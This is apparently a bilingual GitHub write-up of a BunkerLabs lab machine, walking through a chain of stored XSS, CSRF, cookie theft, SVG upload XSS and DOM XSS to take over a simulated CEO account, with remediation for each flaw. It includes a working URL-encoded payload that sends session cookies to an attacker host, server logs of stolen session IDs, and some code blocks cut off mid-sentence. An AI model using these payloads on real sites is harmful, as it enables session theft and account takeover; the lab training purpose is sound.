franlrs/xss-exploit-chain

GitHub: franlrs/xss-exploit-chain

一个展示前端漏洞链导致完全沦陷的渗透教学项目,聚焦存储型 XSS、CSRF、会话劫持与 SVG/DOM XSS。

Stars: 1 | Forks: 0

# 🕷️ BigWork — BunkerLabs Writeup ![Platform](https://img.shields.io/badge/Platform-BunkerLabs-blueviolet?style=for-the-badge&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCI+PHBhdGggZmlsbD0id2hpdGUiIGQ9Ik0xMiAxTDMgNXY2YzAgNS41NSAzLjg0IDEwLjc0IDkgMTIgNS4xNi0xLjI2IDktNi40NSA5LTEyVjVsLTkgNHoiLz48L3N2Zz4=&logoColor=white) ![Difficulty](https://img.shields.io/badge/Difficulty-Intermediate-orange?style=for-the-badge) ![Focus](https://img.shields.io/badge/Focus-Web%20Security%20%7C%20XSS-red?style=for-the-badge) ![Technique](https://img.shields.io/badge/Technique-Stored%20XSS%20·%20CSRF%20·%20DOM%20XSS-critical?style=for-the-badge) ![Status](https://img.shields.io/badge/Status-Pwned%20✓-brightgreen?style=for-the-badge) 对 **BigWork** 机器的完整渗透测试演练,该机器是 LinkedIn 风格的社交网络,旨在练习真实的 XSS 攻击场景。攻击链从匿名用户开始,逐步升级,最终完全接管 CEO 账户并访问公司资金池。
BigWork Writeup Logo
"From a comment box to CEO account takeover | De un simple comentario al control total del CEO"
阅读 / Leer en:
🇺🇸 EN  |  🇪🇸 ES
## 🇺🇸 EN ### 📋 Table of Contents - [Lab Overview](#-lab-overview) - [Attack Chain Diagram](#-attack-chain-diagram) - [Vulnerability Report](#-vulnerability-report) - [VULN-01 · Stored XSS in Comments Section](#vuln-01--stored-xss-in-comments-section) - [VULN-02 · CSRF — Password Change Without Current Credential](#vuln-02--csrf--password-change-without-current-credential) - [VULN-03 · Session Hijacking via HttpOnly=false Cookies](#vuln-03--session-hijacking-via-httponlyfalse-cookies) - [VULN-04 · XSS via Malicious SVG File Upload](#vuln-04--xss-via-malicious-svg-file-upload) - [VULN-05 · DOM XSS via Reflected URL Parameter](#vuln-05--dom-xss-via-reflected-url-parameter) - [Step-by-Step Exploitation](#-step-by-step-exploitation) - [Repository Structure](#-repository-structure) - [References & Demo](#-references--demo) ### 🏷️ Lab Overview | Field | Details | |---|---| | **Machine Name** | BigWork | | **Platform** | [BunkerLabs](https://dockerlabs.es/bunkerlabs/) | | **Difficulty** | Intermediate | | **Application Type** | Web — Social Network (LinkedIn clone) | | **Main Services** | HTTP/8000 (BigWork Web Application) | | **Primary Vulnerability** | Stored XSS (OWASP A03:2021 – Injection) | | **Full Chain** | Stored XSS → CSRF → Cookie Hijacking → SVG XSS → DOM XSS → CEO Takeover | | **Root Goal** | Gain access to `/treasury` via CEO session compromise | ### 🔗 Attack Chain Diagram ``` flowchart TD A([🧑‍💻 Attacker\npingu]) --> B[Deploy Lab\nsudo bash auto_deploy.sh bigwork.tar] B --> C[BigWork App\nhttp://172.17.0.2:8000] C --> D[Register attacker account\nusername: pingu] D --> E{Recon: Test input filtering} E --> F[Post: <b>test HTML</b>\n❌ Posts are sanitized] E --> G[Comment: <b>test HTML</b>\n✅ Rendered as bold HTML] G --> H[💥 VULN-01: Stored XSS\nComments are NOT sanitized] H --> I[Inject fetch payload\nping attacker Python server] I --> J[🖥️ Python HTTP Server\npython3 -m http.server 9999] J --> K[Victim browsers hit our server\nXSS confirmed active] K --> L[VULN-02: CSRF\nChange password endpoint\nno current password required] L --> M[Mass password change\nnew_password=hacked123\nfor every comment viewer] M --> N[Login attempt as carlos_vega\n❌ Blocked by MFA / 4-digit PIN] N --> O[VULN-03: HttpOnly=false\nCookies accessible via document.cookie] O --> P[Inject cookie-stealing payload\nnew Image.src = /steal?cookie=...] P --> Q[🍪 Steal carlos_vega session cookie\nbypass MFA entirely] Q --> R[Inject stolen cookie via DevTools\n✅ Logged in as carlos_vega] R --> S[Discover admin chat\nSofía Martínez — Admin account] S --> T[VULN-04: SVG File Upload\nEmbed JS in SVG <script> tag] T --> U[Send foto.svg to Sofía\nBot opens file → cookie stolen] U --> V[🔑 Admin cookie captured\nAccess to /admin-panel] V --> W[Admin Chat Panel\nXSS filters active on messages] W --> X[VULN-05: DOM XSS\n?q= parameter reflected in DOM\nonfocus event not blocked] X --> Y[Craft poisoned link\n/?q=<input onfocus=fetch... autofocus>] Y --> Z[Send link in admin chat\nCEO bot clicks it] Z --> AA([🏆 CEO SESSION COMPROMISED\nAccess to /treasury]) style A fill:#1a1a2e,color:#e94560 style AA fill:#0f3460,color:#e94560 style H fill:#3d0000,color:#ff6b6b style L fill:#3d0000,color:#ff6b6b style O fill:#3d0000,color:#ff6b6b style T fill:#3d0000,color:#ff6b6b style X fill:#3d0000,color:#ff6b6b style Q fill:#16213e,color:#f5a623 style V fill:#16213e,color:#f5a623 ``` ### 🛡️ Vulnerability Report #### VULN-01 · Stored XSS in Comments Section | | | |---|---| | **Component** | BigWork — Post Comment Feature | | **Type** | Stored Cross-Site Scripting (XSS) | | **OWASP Category** | A03:2021 – Injection | | **CVSSv3 Severity** | High | | **Scope** | All users who view any post containing a malicious comment | **Description** The BigWork application correctly sanitizes input in the post-creation feature; however, it completely fails to sanitize or encode HTML/JavaScript content submitted through the comment box. Any authenticated user can inject arbitrary HTML or JavaScript into a comment, which is then stored in the database and rendered in the browser of every user who views that post — a textbook **Stored (Persistent) XSS** vulnerability. **Impact** Any user who views the compromised post unwillingly executes attacker-controlled JavaScript in their own browser session. This enables mass reconnaissance (harvesting usernames, roles), forced actions on behalf of victims (CSRF), and full session hijacking. Because the payload is stored server-side, it fires automatically and persistently every time the post is loaded — no further interaction from the attacker is required. **Proof of Concept (PoC)** ``` # Step 1 — Verify HTML rendering in comments # Submit the following as a comment on any post: test HTML # ✅ Result: Text is rendered as bold — the application does NOT sanitize comments. # ❌ Same payload in a post: displayed as plain text — posts ARE sanitized. ``` ``` // Step 2 — Deploy attacker's spy server // On attacker machine terminal: python3 -m http.server 9999 // Step 3 — Inject a JavaScript fetch payload as a comment: // Mechanism: The browser tries to load image "x" (which fails), // triggering the onerror handler that sends a silent HTTP request // to the attacker's server. // ✅ Result: Every user who views the post triggers a GET request // to the attacker's server — Stored XSS confirmed active. ``` ``` # Step 4 — Harvest usernames and roles of all viewers # Inject the following reconnaissance payload as a comment: # (The /api/me endpoint returns the current user's session data) # Attacker's server output (excerpt): # GET /recon?user=patricia_navarro_19&role=user # GET /recon?user=roberto_sanchez_35&role=user # GET /recon?user=carlos_vega&role=user ``` **Remediation** - Implement **server-side output encoding** for all user-generated content using a library such as OWASP Java Encoder, DOMPurify (client-side), or Python's `markupsafe`. - Apply a strict **Content Security Policy (CSP)** header: `Content-Security-Policy: default-src 'self'; script-src 'self'` to prevent inline script execution. - Validate and whitelist all allowed HTML tags and attributes using a server-side allowlist (e.g., Bleach for Python). - Treat post and comment inputs with equal sanitization rigor — security must be applied uniformly across all input surfaces. #### VULN-02 · CSRF — Password Change Without Current Credential | | | |---|---| | **Component** | BigWork — `/user/change-password` endpoint | | **Type** | Cross-Site Request Forgery (CSRF) + Insecure Design | | **OWASP Category** | A01:2021 – Broken Access Control / A04:2021 – Insecure Design | | **CVSSv3 Severity** | High | | **Prerequisite** | VULN-01 (active Stored XSS) | **Description** The password-change endpoint accepts a `POST` request with only the `new_password` field — it does **not** require the user to supply their current password. Combined with the active Stored XSS, an attacker can inject a JavaScript payload that silently sends this POST request on behalf of every authenticated user who loads the page, effectively changing the passwords of all viewers without their knowledge or consent. **Impact** Mass account takeover of all users who view a compromised post. The attacker can set a known password (`hacked123`) for every victim, potentially locking legitimate users out of their own accounts. **Proof of Concept (PoC)** ``` // Observed legitimate request (intercepted via Burp Suite): // POST /user/change-password HTTP/1.1 // Host: 172.17.0.2:8000 // Content-Type: application/x-www-form-urlencoded // Cookie: session_id=...; csrftoken=... // Body: new_password=123123 // ⚠️ No current_password field required! // XSS payload injected as a comment to trigger mass password change: // ✅ Result: Every user who views the post has their password silently // changed to "hacked123" — including administrator accounts. ``` **Remediation** - **Always require the current password** before allowing a password change — this single control neutralizes this entire attack vector. - Implement and validate **CSRF tokens** (synchronizer token pattern) on all state-changing endpoints. - Set the `SameSite=Strict` or `SameSite=Lax` attribute on session cookies to prevent cross-origin request forgery. - Apply **rate limiting** on the password-change endpoint to detect and block automated abuse. #### VULN-03 · Session Hijacking via HttpOnly=false Cookies | | | |---|---| | **Component** | BigWork — Session Cookie Configuration | | **Type** | Session Hijacking / Insecure Cookie Attribute | | **OWASP Category** | A02:2021 – Cryptographic Failures / A07:2021 – Identification and Authentication Failures | | **CVSSv3 Severity** | Critical | | **Prerequisite** | VULN-01 (active Stored XSS) | **Description** The application's session cookie (`session_id`) is configured with `HttpOnly: false`. This means-side JavaScript can read the cookie value via `document.cookie`. When combined with the Stored XSS vulnerability, an attacker can exfiltrate any victim's session token, completely bypassing the Multi-Factor Authentication (MFA) system — because the stolen cookie represents an already-authenticated session, and the MFA challenge is only triggered at login. **Impact** Full account takeover of any user who views a compromised post, including accounts protected by MFA. The attacker inherits the victim's active session with all their privileges, with no need to know their password or intercept their 2FA code. **Proof of Concept (PoC)** ``` // Verification: Open DevTools → Application → Storage → Cookies // Observe: HttpOnly column = false for session_id cookie // Cookie-stealing XSS payload injected as a comment: // Attacker's server receives (excerpt from terminal): // GET /steal?cookie=session_id=13dde2ee-6f89-4813-b2c6-291fda0e6fc4 HTTP/1.1 // Attacker injects the stolen cookie via DevTools: // DevTools → Application → Cookies → http://172.17.0.2:8000 // Edit session_id value → paste stolen token → reload page // ✅ Result: Logged in as carlos_vega without knowing the password // or the MFA PIN code. ``` **Remediation** - Set `HttpOnly=true` on **all** session cookies. This is the single most impactful fix — it prevents JavaScript from ever reading cookie values, making XSS-based session theft impossible. - Additionally set `Secure=true` to prevent cookie transmission over unencrypted HTTP. - Implement session binding: tie the session to the client's IP address and User-Agent string, and invalidate it if either changes. - Even with HttpOnly cookies, fix the underlying XSS (VULN-01) — defense in depth is essential. #### VULN-04 · XSS via Malicious SVG File Upload | | | |---|---| | **Component** | BigWork — Chat File Upload Feature | | **Type** | Stored XSS via Unrestricted File Upload (SVG) | | **OWASP Category** | A03:2021 – Injection / A04:2021 – Insecure Design | | **CVSSv3 Severity** | High | | **Prerequisite** | VULN-03 (access to `carlos_vega` account) | **Description** The chat system allows users to send image files. The application does not validate the actual content of uploaded files, nor does it block SVG files. The SVG format is XML-based and natively supports embedded ` ``` ``` # Steps: # 1. As carlos_vega, open the chat with Sofía Martínez (admin) # 2. Upload foto.svg via the file attachment button # 3. Sofía (simulated by a bot in the lab) opens the file in the browser # 4. Attacker's server receives: # GET /admin?cookie=session_id=13dde2ee-6f89-4813-b2c6-291fda0e6fc4 # Inject Sofía's cookie via DevTools → Access /admin-panel # ✅ Result: Full administrative access obtained. ``` **Remediation** - **Whitelist allowed file types** strictly — if SVG is not required, block it. If images are needed, only allow JPEG and PNG. - **Re-encode uploaded images** server-side (e.g., using Pillow in Python) to strip any embedded metadata or scripts. - Serve all uploaded files from a **separate, isolated domain** (e.g., `static.bigwork.com`) with no application cookies, so any injected script cannot access session tokens. - Apply a `Content-Security-Policy` header that blocks inline ` ``` ``` # ✅ Receive admin cookie → inject → access /admin-panel as Sofía. ``` **7. Compromise CEO via DOM XSS:** ``` # In the admin chat, send the poisoned link: http://192.168.0.28:9000/?%20q=%3Cinput%20onfocus%3D%22new%20Image().src%3D'http%3A%2F%2F192.168.0.28%3A9999%2Fadmin%3Fcookie%3D'%2Bdocument.cookie%22%20autofocus%3E # ✅ CEO bot clicks → session captured → access /treasury → PWNED. ``` ### 📁 Repository Structure ``` bigwork-writeup/ │ ├── README.md ← This document (writeup EN/ES) │ ├── payloads/ │ ├── 01_stored_xss_probe.js ← Initial XSS confirmation payload │ ├── 02_recon_api_me.js ← User enumeration via /api/me │ ├── 03_csrf_password_change.js ← Mass password change payload │ ├── 04_cookie_stealer.js ← Session cookie exfiltration payload │ └── 05_dom_xss_ceo.txt ← DOM XSS URL payload (onfocus) │ ├── exploits/ │ └── foto.svg ← Malicious SVG with embedded JS (for lab use only) │ ├── report/ │ └── bigwork_audit_report.pdf ← Formal vulnerability report (PDF export) │ └── server/ └── spy_server_log.txt ← Sample attacker HTTP server output ``` ## 🇪🇸 ES ### 📋 Tabla de Contenidos - [Descripción del Laboratorio](#-descripción-del-laboratorio) - [Diagrama de la Cadena de Ataque](#-diagrama-de-la-cadena-de-ataque) - [Reporte de Vulnerabilidades](#-reporte-de-vulnerabilidades) - [VULN-01 · Stored XSS en la Sección de Comentarios](#vuln-01--stored-xss-en-la-sección-de-comentarios) - [VULN-02 · CSRF — Cambio de Contraseña sin Credencial Actual](#vuln-02--csrf--cambio-de-contraseña-sin-credencial-actual) - [VULN-03 · Robo de Sesión por Cookies con HttpOnly=false](#vuln-03--robo-de-sesión-por-cookies-con-httponlyfalse) - [VULN-04 · XSS mediante Subida de Archivo SVG Malicioso](#vuln-04--xss-mediante-subida-de-archivo-svg-malicioso) - [VULN-05 · DOM XSS mediante Parámetro URL Reflejado](#vuln-05--dom-xss-mediante-parámetro-url-reflejado) - [Explotación Paso a Paso](#-explotación-paso-a-paso) - [Estructura del Repositorio](#-estructura-del-repositorio) - [Referencias y Demo](#-referencias-y-demo) ### 🏷️ Descripción del Laboratorio | Campo | Detalles | |---|---| | **Nombre de la Máquina** | BigWork | | **Plataforma** | [BunkerLabs](https://dockerlabs.es/bunkerlabs/) | | **Dificultad** | Intermedio | | **Tipo de Aplicación** | Web — Red Social Profesional (clon de LinkedIn) | | **Servicios Principales** | HTTP/8000 (Aplicación Web BigWork) | | **Vulnerabilidad Principal** | Stored XSS (OWASP A03:2021 – Inyección) | | **Cadena Completa** | Stored XSS → CSRF → Robo de Cookie → SVG XSS → DOM XSS → Takeover CEO | | **Objetivo Final** | Acceder a `/treasury` mediante el compromiso de la sesión del CEO | ### 🔗 Diagrama de la Cadena de Ataque ``` flowchart TD A([🧑‍💻 Attacker\npingu]) --> B[Deploy Lab\nsudo bash auto_deploy.sh bigwork.tar] B --> C[BigWork App\nhttp://172.17.0.2:8000] C --> D[Register attacker account\nusername: pingu] D --> E{Recon: Test input filtering} E --> F[Post: <b>test HTML</b>\n❌ Posts are sanitized] E --> G[Comment: <b>test HTML</b>\n✅ Rendered as bold HTML] G --> H[💥 VULN-01: Stored XSS\nComments are NOT sanitized] H --> I[Inject fetch payload\nping attacker Python server] I --> J[🖥️ Python HTTP Server\npython3 -m http.server 9999] J --> K[Victim browsers hit our server\nXSS confirmed active] K --> L[VULN-02: CSRF\nChange password endpoint\nno current password required] L --> M[Mass password change\nnew_password=hacked123\nfor every comment viewer] M --> N[Login attempt as carlos_vega\n❌ Blocked by MFA / 4-digit PIN] N --> O[VULN-03: HttpOnly=false\nCookies accessible via document.cookie] O --> P[Inject cookie-stealing payload\nnew Image.src = /steal?cookie=...] P --> Q[🍪 Steal carlos_vega session cookie\nbypass MFA entirely] Q --> R[Inject stolen cookie via DevTools\n✅ Logged in as carlos_vega] R --> S[Discover admin chat\nSofía Martínez — Admin account] S --> T[VULN-04: SVG File Upload\nEmbed JS in SVG <script> tag] T --> U[Send foto.svg to Sofía\nBot opens file → cookie stolen] U --> V[🔑 Admin cookie captured\nAccess to /admin-panel] V --> W[Admin Chat Panel\nXSS filters active on messages] W --> X[VULN-05: DOM XSS\n?q= parameter reflected in DOM\nonfocus event not blocked] X --> Y[Craft poisoned link\n/?q=<input onfocus=fetch... autofocus>] Y --> Z[Send link in admin chat\nCEO bot clicks it] Z --> AA([🏆 CEO SESSION COMPROMISED\nAccess to /treasury]) style A fill:#1a1a2e,color:#e94560 style AA fill:#0f3460,color:#e94560 style H fill:#3d0000,color:#ff6b6b style L fill:#3d0000,color:#ff6b6b style O fill:#3d0000,color:#ff6b6b style T fill:#3d0000,color:#ff6b6b style X fill:#3d0000,color:#ff6b6b style Q fill:#16213e,color:#f5a623 style V fill:#16213e,color:#f5a623 ``` ### 🛡️ Reporte de Vulnerabilidades #### VULN-01 · Stored XSS la Sección de Comentarios | | | |---|---| | **Componente** | BigWork — Función de Comentarios en Publicaciones | | **Tipo** | Cross-Site Scripting Almacenado (Stored XSS) | | **Categoría OWASP** | A03:2021 – Inyección | | **Severidad CVSSv3** | Alta | | **Alcance** | Todos los usuarios que visualicen publicaciones con comentarios maliciosos | **Descripción** La aplicación BigWork sanea correctamente el contenido introducido en el formulario de creación de publicaciones; sin embargo, **no aplica ningún tipo de filtrado ni codificación** al contenido HTML/JavaScript enviado a través de la caja de comentarios. Cualquier usuario autenticado puede inyectar HTML o JavaScript arbitrario en un comentario. Este payload queda almacenado en la base de datos y se ejecuta en el navegador de cada usuario que visualice dicha publicación — una vulnerabilidad **Stored XSS** en su forma más pura. **Impacto** Cualquier usuario que visite la publicación comprometida ejecuta involuntariamente código JavaScript controlado por el atacante dentro de su propia sesión de navegador. Esto permite: reconocimiento masivo (obtener nombres de usuario y roles), ejecución de acciones en nombre de las víctimas (CSRF) y robo completo de sesión. Al estar almacenado en el servidor, el payload se activa de forma automática y persistente cada vez que se carga la publicación. **Prueba de Concepto (PoC)** ``` # Paso 1 — Verificar el renderizado de HTML en comentarios # Enviar el siguiente texto como comentario en cualquier publicación: test HTML # ✅ Resultado: el texto se muestra en negrita — los comentarios NO están saneados. # ❌ El mismo payload en una publicación: se muestra como texto plano — los posts SÍ están saneados. ``` ``` // Paso 2 — Desplegar el servidor espía del atacante // En la terminal del atacante: python3 -m http.server 9999 // Paso 3 — Inyectar un payload de fetch como comentario: // Mecanismo: el navegador intenta cargar la imagen "x" (inexistente), // lo que dispara el handler onerror y realiza una petición silenciosa // al servidor del atacante. // ✅ Resultado: cada usuario que carga la publicación genera // una petición GET al servidor — Stored XSS confirmado y activo. ``` ``` # Paso 4 — Reconocimiento: obtener usuarios y roles de todas las víctimas # Salida del servidor del atacante (extracto): # GET /recon?user=patricia_navarro_19&role=user # GET /recon?user=roberto_sanchez_35&role=user # GET /recon?user=carlos_vega&role=user ``` **Remediación** - Implementar **codificación de salida en el lado del servidor** para todo el contenido generado por usuarios, utilizando librerías como OWASP Java Encoder, DOMPurify (cliente) o `markupsafe` (Python). - Aplicar una cabecera **Content Security Policy (CSP)** estricta: `Content-Security-Policy: default-src 'self'; script-src 'self'` para bloquear la ejecución de scripts en línea. - Validar y permitir únicamente las etiquetas y atributos HTML necesarios mediante una lista blanca en el servidor (p. ej., Bleach para Python). - Aplicar el mismo nivel de saneamiento de forma **uniforme en todas las superficies de entrada** — publicaciones y comentarios deben recibir el mismo tratamiento. #### VULN-02 · CSRF — Cambio de Contraseña sin Credencial Actual | | | |---|---| | **Componente** | BigWork — Endpoint `/user/change-password` | | **Tipo** | Cross-Site Request Forgery (CSRF) + Diseño Inseguro | | **Categoría OWASP** | A01:2021 – Control de Acceso Roto / A04:2021 – Diseño Inseguro | | **Severidad CVSSv3** | Alta | | **Requisito Previo** | VULN-01 (Stored XSS activo) | **Descripción** El endpoint de cambio de contraseña acepta una petición `POST` con únicamente el campo `new_password` — **no solicita la contraseña actual del usuario**. Combinado con el Stored XSS activo, el atacante puede inyectar un payload JavaScript que envía esta petición POST en nombre de cada usuario autenticado que carga la página, cambiando sus contraseñas de forma masiva y silenciosa sin que lo sepan. **Impacto** Toma de control masiva de cuentas de todos los usuarios que visualicen la publicación comprometida. El atacante puede establecer una contraseña conocida (`hacked123`) para cada víctima, potencialmente bloqueando a los usuarios legítimos fuera de sus propias cuentas. **Prueba de Concepto (PoC)** ``` // Petición legítima observada (interceptada con Burp Suite): // POST /user/change-password HTTP/1.1 // Host: 172.17.0.2:8000 // Content-Type: application/x-www-form-urlencoded // Cookie: session_id=...; csrftoken=... // Body: new_password=123123 // ⚠️ ¡Sin campo current_password! // Payload XSS inyectado como comentario para cambio masivo de contraseñas: // ✅ Resultado: cada usuario que carga la publicación tiene su contraseña // cambiada silenciosamente a "hacked123" — incluidas cuentas de administrador. ``` **Remediación** - **Exigir siempre la contraseña actual** antes de permitir un cambio de contraseña. Este único control neutraliza por completo este vector de ataque. - Implementar y validar **tokens CSRF** (patrón de token sincronizador) en todos los endpoints que modifiquen estado. - Establecer el atributo `SameSite=Strict` o `SameSite=Lax` en las cookies de sesión para prevenir peticiones forjadas desde otros orígenes. - Aplicar **rate limiting** en el endpoint de cambio de contraseña para detectar y bloquear el abuso automatizado. #### VULN-03 · Robo de Sesión por Cookies con HttpOnly=false | | | |---|---| | **Componente** | BigWork — Configuración de Cookie de Sesión | | **Tipo** | Robo de Sesión / Atributo de Cookie Inseguro | | **Categoría OWASP** | A02:2021 – Fallos Criptográficos / A07:2021 – Fallos de Identificación y Autenticación | | **Severidad CVSSv3** | Crítica | | **Requisito Previo** | VULN-01 (Stored XSS activo) | **Descripción** La cookie de sesión de la aplicación (`session_id`) está configurada con `HttpOnly: false`. Esto significa que el código JavaScript del lado del cliente puede leer el valor de la cookie mediante `document.cookie`. Combinado con el Stored XSS, el atacante puede exfiltrar el token de sesión de cualquier víctima, **saltándose completamente el sistema de Autenticación Multifactor (MFA)** — ya que la cookie robada representa una sesión ya autenticada, y el desafío MFA solo se solicita en el momento del login. **Impacto** Toma de control total de la cuenta de cualquier usuario que visite la publicación comprometida, **incluidas las cuentas protegidas por MFA**. El atacante hereda la sesión activa de la víctima con todos sus privilegios, sin necesidad de conocer su contraseña ni interceptar su código de 2FA. **Prueba de Concepto (PoC)** ``` // Verificación: DevTools → Application → Storage → Cookies // Observar: columna HttpOnly = false para session_id // Payload XSS para robo de cookie inyectado como comentario: // El servidor del atacante recibe (extracto del terminal): // GET /steal?cookie=session_id=13dde2ee-6f89-4813-b2c6-291fda0e6fc4 HTTP/1.1 // El atacante inyecta la cookie robada via DevTools: // DevTools → Application → Cookies → http://172.17.0.2:8000 // Editar valor de session_id → pegar token robado → recargar página // ✅ Resultado: sesión iniciada como carlos_vega sin conocer la contraseña // ni el PIN de MFA. ``` **Remediación** - Establecer `HttpOnly=true` en **todas** las cookies de sesión. Esta es la medida de mayor impacto: impide que JavaScript pueda leer valores de cookies, haciendo imposible el robo de sesión mediante XSS. - Establecer adicionalmente `Secure=true` para evitar la transmisión de cookies por HTTP sin cifrar. - Implementar **vinculación de sesión**: asociar la sesión a la dirección IP y al User-Agent del cliente, invalidándola si alguno cambia. - Aunque la cookie sea HttpOnly, corregir el XSS subyacente (VULN-01) — la defensa en profundidad es esencial. #### VULN-04 · XSS mediante Subida de Archivo SVG Malicioso | | | |---|---| | **Componente** | BigWork — Función de Subida de Archivos en el Chat | | **Tipo** | Stored XSS por Subida de Archivos sin Restricción (SVG) | | **Categoría OWASP** | A03:2021 – Inyección / A04:2021 – Diseño Inseguro | | **Severidad CVSSv3** | Alta | | **Requisito Previo** | VULN-03 (acceso a la cuenta de `carlos_vega`) | **Descripción** El sistema de chat permite enviar archivos de imagen sinar el contenido real del archivo ni bloquear el formato SVG. El formato SVG es XML y nativamente soporta etiquetas ` ``` ``` # Pasos: # 1. Como carlos_vega, abrir el chat con Sofía Martínez (admin) # 2. Subir foto.svg mediante el botón de adjuntos # 3. Sofía (simulada por un bot en el lab) abre el archivo en el navegador # 4. El servidor del atacante recibe: # GET /admin?cookie=session_id=13dde2ee-6f89-4813-b2c6-291fda0e6fc4 # Inyectar la cookie de Sofía via DevTools → Acceder a /admin-panel # ✅ Resultado: acceso administrativo completo obtenido. ``` **Remediación** - **Usar una lista blanca estricta** de tipos de archivo permitidos — si SVG no es necesario, bloquearlo. Si imágenes son necesarias, permitir solo JPEG y PNG. - **Re-codificar las imágenes subidas** en el servidor (p. ej., usando Pillow en Python) para eliminar cualquier metadato o script embebido. - Servir todos los archivos subidos desde un **dominio separado y aislado** (p. ej., `static.bigwork.com`) sin cookies de aplicación, de modo que cualquier script inyectado no pueda acceder a tokens de sesión. - Aplicar una cabecera `Content-Security-Policy` que bloquee la ejecución de ` ``` ``` # ✅ Recibir cookie de admin → inyectar → acceder a /admin-panel como Sofía. ``` **7. Comprometer al CEO mediante DOM XSS:** ``` # En el chat de administradores, enviar el enlace envenenado: http://192.168.0.28:9000/?%20q=%3Cinput%20onfocus%3D%22new%20Image().src%3D'http%3A%2F%2F192.168.0.28%3A9999%2Fadmin%3Fcookie%3D'%2Bdocument.cookie%22%20autofocus%3E # ✅ El bot del CEO hace clic → sesión capturada → acceso a /treasury → PWNED. ``` ### 📁 Estructura del Repositorio ``` bigwork-writeup/ │ ├── README.md ← Este documento (writeup EN/ES) │ ├── payloads/ │ ├── 01_stored_xss_probe.js ← Payload de confirmación XSS inicial │ ├── 02_recon_api_me.js ← Enumeración de usuarios via /api/me │ ├── 03_csrf_password_change.js ← Payload de cambio masivo de contraseñas │ ├── 04_cookie_stealer.js ← Payload de exfiltración de cookie de sesión │ └── 05_dom_xss_ceo.txt ← URL payload DOM XSS (onfocus) │ ├── exploits/ │ └── foto.svg ← SVG malicioso con JS embebido (solo para uso en laboratorio) │ ├── report/ │ └── bigwork_audit_report.pdf ← Reporte formal de vulnerabilidades (exportado en PDF) │ └── server/ └── spy_server_log.txt ← Salida de ejemplo del servidor HTTP del atacante ``` ## 📚 Referencias y Demo | Recurso | Enlace | |---|---| | 🧪 BunkerLabs — Máquina BigWork | [BunkerLabs](https://dockerlabs.es/bunkerlabs/) | | 📖 OWASP XSS Prevention Cheat Sheet | [owasp.org](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) | | 📖 OWASP CSRF Prevention Cheat Sheet | [owasp.org](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html) | | 🛡️ DOMPurify — Librería de Saneamiento | [github.com/cure53/DOMPurify](https://github.com/cure53/DOMPurify) | | 🍪 OWASP Atributos Seguros de Cookie | [owasp.org](https://owasp.org/www-community/controls/SecureCookieAttribute) |
Desarrollado para la comunidad de ciberseguridad · Developed for the cybersecurity community
📄 MIT License
标签:API密钥检测, BunkerLabs, CEO接管, CISA项目, CSRF, DOM型XSS, LinkedIn仿制品, Web安全, XSS, 写透, 反取证, 多模态安全, 大工场, 存储型XSS, 安全助手, 安全评估, 数据可视化, 无线安全, 测试靶场, 漏洞情报, 漏洞披露, 社交工程, 网络安全, 自定义脚本, 蓝队分析, 误配置预防, 请求拦截, 账户接管, 身份认证绕过, 输入验证, 逆向工具, 金库访问, 隐私保护